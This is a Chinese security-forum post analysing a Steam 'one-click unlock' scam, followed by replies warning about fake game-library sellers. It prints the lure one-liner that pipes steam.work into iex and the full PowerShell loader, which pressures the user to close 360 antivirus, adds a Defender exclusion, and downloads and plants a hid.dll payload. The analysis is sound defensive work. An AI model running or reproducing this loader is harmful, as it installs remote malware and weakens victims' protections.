吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1393|回复: 76
上一主题 下一主题
收起左侧

[PC样本分析] Steam一键解锁游戏简单分析

  [复制链接]
跳转到指定楼层
楼主
xloudmax 发表于 2024-11-20 12:41 回帖奖励
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!

Steam一键解锁游戏骗局分析

steam通过powershell解锁游戏,感觉不简单

image-20240710211826674

irm steam.work | iex

1.irmInvoke-RestMethod 的缩写,它用于发送 HTTP GET 请求到指定的 URL,这里是 steam.work。这个命令将尝试从该 URL 下载数据。

2.| 是管道符号,它会将前一个命令的输出作为下一个命令的输入。

3.iexInvoke-Expression 的缩写。此命令将执行通过管道传递来的数据作为 PowerShell 脚本代码。

查看回显

1.保存脚本到变量:

$scriptContent = irm steam.work

2.查看脚本内容:

$scriptContent

通过这种方式,可以看到从 steam.work 返回的数据,而不会执行它。

返回了一个html文件,分析后发现是steam商城的默认页面

推测为检测UA头,只有powershell创建的web服务才能触发

image-20240710211844448

  1. powerShell命令(ctrl+f搜到的):

–      irm steam.work/pwsDwFile/new -OutFile x.ps1:这个命令使用Invoke-RestMethod(irm)从steam.work/pwsDwFile/new下载文件,并将其保存为名为x.ps1的PowerShell脚本文件。

–      powershell.exe -ExecutionPolicy Bypass -File x.ps1:此命令执行上一步保存的x.ps1脚本,同时绕过执行策略,允许运行未签名的脚本。

这种组合表明,目的是从一个可能未知或不受信任的源下载并执行PowerShell脚本

这个PowerShell脚本似乎在自动化与Steam和360安全软件相关的几个任务。以下是脚本的详细解释:

  1. 下载并保存脚本:

    Invoke-RestMethod -Uri "http://steam.work/pwsDwFile/new" -OutFile "C:\PathToFolder\x.ps1"

    这段代码从指定的URL下载文件,并将其保存到指定路径。

  2. 删除特定文件:

    $filePathToDelete = Join-Path $env:USERPROFILE "x.ps1"
    if (Test-Path $filePathToDelete) {
       Remove-Item -Path $filePathToDelete
    }
    $desktopFilePathToDelete = Join-Path ([System.Environment]::GetFolderPath('Desktop')) "x.ps1"
    if (Test-Path $desktopFilePathToDelete) {
       Remove-Item -Path $desktopFilePathToDelete
    }

    这段代码删除用户主目录和桌面上的名为x.ps1的文件。

  3. 检查Steam安装路径:

    $steamRegPath = 'HKCU:\Software\Valve\Steam'
    $localPath = -join ($env:LOCALAPPDATA,"\SteamActive")
    if ((Test-Path $steamRegPath)) {
       $properties = Get-ItemProperty -Path $steamRegPath
       if ($properties.PSObject.Properties.Name -contains 'SteamPath') {
           $steamPath = $properties.SteamPath
       }
    }

    这段代码检查注册表以获取Steam的安装路径,并设置一个本地路径。

  4. 检查管理员权限:

    if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
       Write-Host "[请重新打开Power shell 打开方式以管理员身份运行]" -ForegroundColor:red
       exit
    }

    这段代码检查当前脚本是否以管理员身份运行,如果不是则提示用户以管理员身份运行。

  5. 定义PwStart函数:

    function PwStart() {
       if(Get-Process "360Tray*" -ErrorAction Stop){
           while(Get-Process 360Tray* -ErrorAction Stop){
               Write-Host "[请先退出360安全卫士]" -ForegroundColor:Red
               Start-Sleep 1.5
           }
           PwStart
       }
       if(Get-Process "360sd*" -ErrorAction Stop)
       {
           while(Get-Process 360sd* -ErrorAction Stop){
               Write-Host "[请先退出360杀毒]" -ForegroundColor:Red
               Start-Sleep 1.5
           }
           PwStart
       }
    
       if ($steamPath -eq ""){
           Write-Host "[请检查您的Steam是否正确安装]" -ForegroundColor:Red
           exit
       }
       Write-Host "[ServerStart    OK]" -ForegroundColor:green
       Stop-Process -Name steam* -Force -ErrorAction Stop
       Start-Sleep 2
       if(Get-Process steam* -ErrorAction Stop){
           TASKKILL /F /IM "steam.exe" | Out-Null
           Start-Sleep 2
       }
    
       if (!(Test-Path $localPath)) {
           md $localPath | Out-Null
           if (!(Test-Path $localPath)) {
               New-Item $localPath -ItemType directory -Force | Out-Null
           }
       }
    
       $catchPath = -join ($steamPath,"\package\data")
       if ((Test-Path $catchPath)) {
           if ((Test-Path $catchPath)) {
               Remove-Item $catchPath -Recurse -Force | Out-Null
           }
       }
    
       try{
           Add-MpPreference -ExclusionPath $steamPath -ErrorAction Stop
           Start-Sleep 3
       }catch{}
    
       Write-Host "[Result->0     OK]" -ForegroundColor:green
    
       try{
           $d = $steamPath + "/version.dll"
           if (Test-Path $d) {
               Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null
           }
           $d = $steamPath + "/user32.dll"
           if (Test-Path $d) {
               Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null
           }
           $d = $steamPath + "/steam.cfg"
           if (Test-Path $d) {
               Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null
           }
           $d = $steamPath + "/hid.dll"
           if (Test-Path $d) {
               Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null
           }
       }catch{
           Write-Host "[异常残留请检查[$d]文件是否异常!]" -ForegroundColor:red
           exit
       }
    
       $downloadData = "http://steam.work/pwsDwFile/bcfc1e52ca77ad82122dfe4c9560f3ec.pdf"
       $downloadLink = "http://steam.work/pwsDwFile/9b96dac2bb0ba18d56068fabc5b17185.pdf"
    
       irm -Uri $downloadLink -OutFile $d -ErrorAction Stop
       Write-Host "[Result->1     OK]" -ForegroundColor:green
       $d = $localPath + "/hid"
       irm -Uri $downloadData -OutFile $d -ErrorAction Stop
       Write-Host "[Result->2     OK]" -ForegroundColor:green
    
       Start-Sleep 1
    
       Start steam://
       Write-Host "[连接服务器成功请在Steam输入激活码 3秒后自动关闭]" -ForegroundColor:green
       Start-Sleep 3
    
       $processID = Get-CimInstance Win32_Process -Filter "ProcessId = '$pid'"
       Stop-Process -Id $processID.ParentProcessId -Force
       exit
    }

    这个函数PwStart执行了以下任务:

    • 检查并终止360安全卫士和360杀毒进程。
    • 确认Steam安装路径是否存在。
    • 停止所有Steam相关进程。
    • 创建本地目录(如果不存在)。
    • 删除特定Steam缓存数据。
    • 添加Steam路径到Windows Defender的排除路径。
    • 删除特定Steam文件。
    • 下载并保存指定文件到本地路径,下载的文件包括“version.dll”、“user32.dll”、“steam.cfg”和“hid.dll”。
    • 启动Steam并提示用户输入激活码。

整个脚本的目的是确保系统中没有运行360安全软件的情况下,清理和重置Steam的相关数据,并通过自动化下载和配置来恢复Steam的运行。

https://www.cnblogs.com/0day-li/p/18042274

https://github.com/BlueAmulet/GreenLuma-2024-Manager

原理应该类似于家庭共享,实现假入库。

看看释放了什么,在虚拟机输入链接,在everything中监听

image-20240627102012903

打开链接,释放了hid和hid.dll

样本报告-微步在线云沙箱 (threatbook.com)

image-20240627102633077

分析了下签名,怀疑惯犯

image-20240627103250972

近期 Higaisa(黑格莎) APT 针对中国用户的钓鱼网站、样本分析(一) | CTF导航 (ctfiot.com)

逆向分析hid.dll,拖入ida

查看字符串,发现

image-20240627102146473

Mark Adler不是那个开发zlib的吗
image-20240627102256393

基本确认了,存在zlib加密,分析hid文件

先写个脚本解密

import zlib

def decompress_zlib_file(file_path, output_path):
    try:
        with open(file_path, 'rb') as file:
            compressed_data = file.read()

        decompressed_data = zlib.decompress(compressed_data)

        with open(output_path, 'wb') as output_file:
            output_file.write(decompressed_data)

        print(f"Decompressed data written to {output_path}")
        return True
    except (zlib.error, IOError) as e:
        print(f"Error decompressing file: {e}")
        return False

input_file_path = r"C:\Users\23038\Desktop\hid.zlib"
output_file_path = r"C:\Users\23038\Desktop\decompressed_pe.dll"

success = decompress_zlib_file(input_file_path, output_file_path)

if success:
    print("Decompression and file writing successful.")
else:
    print("Failed to decompress and write the file.")def decompress_zlib_file(file_path, output_path):

分析decompressed_pe.dll,先拖入沙箱

360沙箱云

样本报告-微步在线云沙箱 (threatbook.com)

不出所料,报毒

image-20240627103106412

加壳了,等闲下来找个虚拟机环境看看

免费评分

参与人数 16吾爱币 +16 热心值 +16 收起 理由
jjyyqwery + 1 + 1 用心讨论,共获提升!
yeye8888999 + 1 + 1 用心讨论,共获提升!
htnas + 1 + 1 鼓励转贴优秀软件安全工具和文档!
wuge21 + 1 + 1 我很赞同!
Nuaza + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
九月i + 1 + 1 谢谢@Thanks!
bjl1015 + 1 + 1 我很赞同!
Ayiming + 1 + 1 这个思路很好
笑哈哈123 + 1 + 1 热心回复!
bahatingtiema + 1 + 1 我很赞同!
Onirii + 1 + 1 我很赞同!
ahaneo + 1 + 1 谢谢@Thanks!
zpbooks + 1 + 1 我很赞同!
18659350506 + 1 + 1 我很赞同!
a751851800 + 1 + 1 谢谢@Thanks!
buguj + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

推荐
awachxy 发表于 2024-11-20 16:49
这种第三方购买游戏的,让你下载什么东西或者运行什么的都是假入库骗局
一般第三方购买的,不是赠送礼物就是CDK激活
一般来说价格不正常的低的,不是盗版就是假入库
推荐
PlatinumZoe 发表于 2024-11-20 17:23
steam买游戏只可能是发CDK或者礼物赠送,其余的所有操作都可以当成是假的,要么钓鱼要么洗号。
推荐
319410 发表于 2024-11-20 17:27
之前买过一个   发现是假入库我立即退款了   也不知道自己有没有清理干净
3#
yiting8 发表于 2024-11-20 16:53
结论是啥? 楼主? 靠谱吗
4#
花开花舞花满天 发表于 2024-11-20 17:01
蹲一个后续分析看看
6#
朕来打江山 发表于 2024-11-20 17:25
重新登陆那里就感觉不正常,说不准会不会把steam的api key传走
8#
aiaiuhlu 发表于 2024-11-20 17:36
awachxy 发表于 2024-11-20 16:49
这种第三方购买游戏的,让你下载什么东西或者运行什么的都是假入库骗局
一般第三方购买的,不是赠送礼物就 ...

steam软件直接就能激活cdk,左下角添加游戏直接粘贴cdk,越麻烦、越便宜越假。
9#
ZhangYongcun 发表于 2024-11-20 17:39
朕来打江山 发表于 2024-11-20 17:25
重新登陆那里就感觉不正常,说不准会不会把steam的api key传走

会被盗号
10#
Hmily 发表于 2024-11-20 17:42
期待后续分析补充,完事后可以@我加分~

免费评分

参与人数 1吾爱币 +1 收起 理由
lint0504 + 1 鼓励转贴优秀软件安全工具和文档!

查看全部评分

您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-21 12:59

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表